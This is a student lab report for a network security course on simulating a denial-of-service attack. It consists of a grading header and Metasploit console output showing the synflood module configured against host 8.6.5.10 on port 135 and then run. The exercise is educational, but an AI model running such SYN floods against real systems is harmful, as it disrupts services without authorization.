FR. CONCEICAO RODRIGUES COLLEGE OF ENGINEERING

Department of Computer Engineering

1. Course , Subject & Experiment Details

Academic Year	2024-25	**Estimated Time**	03 - Hours
Course & Semester	T.E. (CMPN)- Sem VI	**Subject Name & Code**	CSS - (CSC602))
Chapter No.	05- CO3	**Chapter Title**	Network Security and Applications

Practical No:	9
Title:	DOS attack simulation using Kali Linux
Date of Performance:	17/04/2025
Date of Submission:	27/04/2025
Roll No:	9913
Name of the Student:	Mark Lopes

Evaluation:

Sr. No	Rubric	Grade
1	**On time submission Or completion (2)**	
2	**Preparedness(2)**	
3	**Skill (4)**	
4	**Output (2)**	

Signature of the Teacher:

Date:

```
File  Actions  Edit  View  Help

RHOSTS ⇒ 8.6.5.10
msf6 auxiliary(dos/tcp/synflood) > set RPORT 135
RPORT ⇒ 135
msf6 auxiliary(dos/tcp/synflood) > set NUM 500
NUM ⇒ 500
msf6 auxiliary(dos/tcp/synflood) > exploit
[*] Running module against 8.6.5.10
/usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:123: warning: undefining the al
locator of T_DATA class PCAPRUB::Pcap
[*] SYN flooding 8.6.5.10:135 ...
[*] Auxiliary module execution completed
msf6 auxiliary(dos/tcp/synflood) >
zsh: suspended  msfconsole

  ┌──(root💀kali)-[/home/kali]
  └─# sudo su
  ┌──(root💀kali)-[/home/kali]
  └─# msfconsole
Metasploit tip: Search can apply complex filters such as search cve:2009
type:exploit, see all the filters with help search



 |─────────────────────────────────────────────────────────| |
 |                    3Kom SuperHack II Logon                | |
 |─────────────────────────────────────────────────────────| |
 |                                                           | |
 |                                                           | |
 |                                                           | |
 |           User Name:           [   security   ]          | |
 |                                                           | |
```

```
File  Actions  Edit  View  Help

    SPORT                       no        The source port (else randomizes)
    TIMEOUT    500              yes       The number of seconds to wait for new data


View the full module info with the info, or info -d command.

msf6 auxiliary(dos/tcp/synflood) > set RHOSTS 8.6.5.10
RHOSTS ⇒ 8.6.5.10
msf6 auxiliary(dos/tcp/synflood) > set RPORT 135
RPORT ⇒ 135
msf6 auxiliary(dos/tcp/synflood) > set NUM 500
NUM ⇒ 500
msf6 auxiliary(dos/tcp/synflood) > exploit
[*] Running module against 8.6.5.10
/usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:123: warning: undefining the al
locator of T_DATA class PCAPRUB::Pcap
[*] SYN flooding 8.6.5.10:135 ...
[*] Auxiliary module execution completed
msf6 auxiliary(dos/tcp/synflood) > show options

Module options (auxiliary/dos/tcp/synflood):

   Name        Current Setting  Required  Description
   ────        ───────────────  ────────  ───────────
   INTERFACE                    no        The name of the interface
   NUM         500              no        Number of SYNs to send (else unlimited)
   RHOSTS      8.6.5.10         yes       The target host(s), see https://docs.metasploit.com/
                                          docs/using-metasploit/basics/using-metasploit.html
   RPORT       135              yes       The target port
   SHOST                        no        The spoofable source address (else randomizes)
   SNAPLEN     65535            yes       The number of bytes to capture
```

```
      SPORT                        no        The source port (else randomizes)
      TIMEOUT    500               yes       The number of seconds to wait for new data


View the full module info with the info, or info -d command.

msf6 auxiliary(dos/tcp/synflood) > 135
[-] Unknown command: 135. Run the help command for more details.
msf6 auxiliary(dos/tcp/synflood) > █
```